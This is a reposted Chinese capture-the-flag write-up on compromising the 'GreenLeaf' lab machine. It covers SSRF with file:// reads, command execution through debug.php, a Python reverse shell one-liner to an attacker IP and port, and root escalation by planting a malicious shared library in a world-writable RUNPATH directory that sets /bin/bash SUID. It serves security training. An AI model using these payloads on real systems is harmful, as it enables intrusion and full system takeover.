文章总结: 本文详细记录了GreenLeaf靶机的渗透测试过程,从信息收集发现SSRF漏洞,利用file协议读取文件并获取命令执行权限,最终通过分析SUID二进制文件logparser,利用可写共享库目录注入恶意so文件实现提权至root。文章步骤清晰,对新手友好,提供了可复现的实战经验。 综合评分: 85 文章分类: 渗透测试,漏洞分析,红队,内网渗透,安全工具
GreenLeaf 靶场渗透
原创
lnnn lnnn
取lnnn证
2026年7月9日 11:05 北京
在小说阅读器读本章
去阅读
这是一个群友靶机,源于「maze-sec.com」 最近忙昏了,百忙之中还是抽空写了一篇 比较简单,对新手甚是友好
信息收集
「端口扫描」
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
┌──(kali㉿kali)-[~/桌面]└─$ nmap -p- 10.51.78.28 --min-rate 5000Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-0804:38 EDTNmap scan report for10.51.78.28Host isup (0.00036s latency).Not shown: 65533 closed tcp ports (reset)PORT STATE SERVICE22/tcp open ssh80/tcp open httpMAC Address: 08:00:27:B9:03:31 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 4.78 seconds
80端口长这样,有点像 SSRF 有感觉吗
实锤 「目录扫描」
- 1
- 2
[04:43:53] Starting: [04:44:13]200 - 0B - /debug.php
有一个「debug.php」
这儿有个小提示,支持 HTTP/HTTPS 和 internal endpoints
SSRF
PHP curl 如果没做协议白名单,file:// 协议可以直接读本机文件。测试:
- 1
http://10.51.78.100/?url=file:///etc/passwd
也知道用户是「Lumen」,尝试直接读取一下 user.txt
应该是权限问题,大概率是「www-data」
接下来想办法读取 debug.php,这种文件应该是放在网站根目录
也就是/var/www/html
下一步读取 debug.php
好家伙,直接命令执行,弹个 shell 回来 反弹 shell(Python3,因为 which python3 确认存在):
- 1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.51.78.252",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
现在还是www-data权限
提权
sudo -l 发现需要密码,尝试枚举 SUID
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
www-data@GreenLeaf:/var/www/html$ find / -user root -perm -4000 2>/dev/null/usr/lib/openssh/ssh-keysign/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/mount/usr/bin/passwd/usr/bin/sudo/usr/bin/su/usr/bin/chsh/usr/bin/gpasswd/usr/bin/umount/usr/bin/newgrp/usr/bin/chfn/usr/local/bin/logparser
比较可疑的是 「logparser」
分析 logparser
导出来逆向分析一下
让ai帮个忙
发现接收文件路径参数
依赖自定义共享库 libparser.so.1
利用「ldd」查看共享库依赖
- 1
- 2
- 3
- 4
- 5
- 6
┌──(kali㉿kali)-[~/桌面]└─$ ldd logparser linux-vdso.so.1 (0x00007fac3b572000) libparser.so.1 => not found libc.so.6 => /usr/lib/x86_64-linux-gnu/libc.so.6 (0x00007fac3b355000) /lib64/ld-linux-x86-64.so.2 (0x00007fac3b574000)
「libparser.so.1」居然 not found
用「readelf」查看共享库中的动态段
readelf -d logparser | grep -E "NEEDED|RUNPATH"
路径在 /usr/local/lib/logparser/,且目录完全可写
- 1
- 2
- 3
- 4
www-data@GreenLeaf:/var/www/html$ ls /usr/local/lib/logparser/ -altotal8drwxrwxrwx2 root root 4096 Jul 207:35 .drwxr-xr-x 4 root root 4096 Jun 2501:37 ..
那我们直接在这个目录下写个 so 文件
- 1
- 2
- 3
- 4
- 5
- 6
- 7
//1.c#include <sys/stat.h>#include <unistd.h>voidparse_log(const char *f, int *c) { if (c) *c = 0; chmod("/bin/bash", 04755);}
然后编译一下,运行的时候随便传入一个文件路径
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
www-data@GreenLeaf:/usr/local/lib/logparser$ ./logparser /etc/passwdLogParser v1.2 - GreenLeaf Tech Internal ToolParsed 0 log entries from /etc/passwd
www-data@GreenLeaf:/usr/local/lib/logparser$ ls -la /bin/bash-rwsr-xr-x 1 root root 1298416 May 9 07:07 /bin/bash
www-data@GreenLeaf:/usr/local/lib/logparser$ /bin/bash -p
bash-5.2# iduid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
bash-5.2# cat /root/root.txtflag{root-c4d038b4bed09fdb1471ef51ec3a32cd}
bash-5.2# cat /home/Lumen/user.txt flag{user-c4ca4238a0b923820dcc509a6f75849b}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:取lnnn证 lnnn lnnn《GreenLeaf 靶场渗透》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论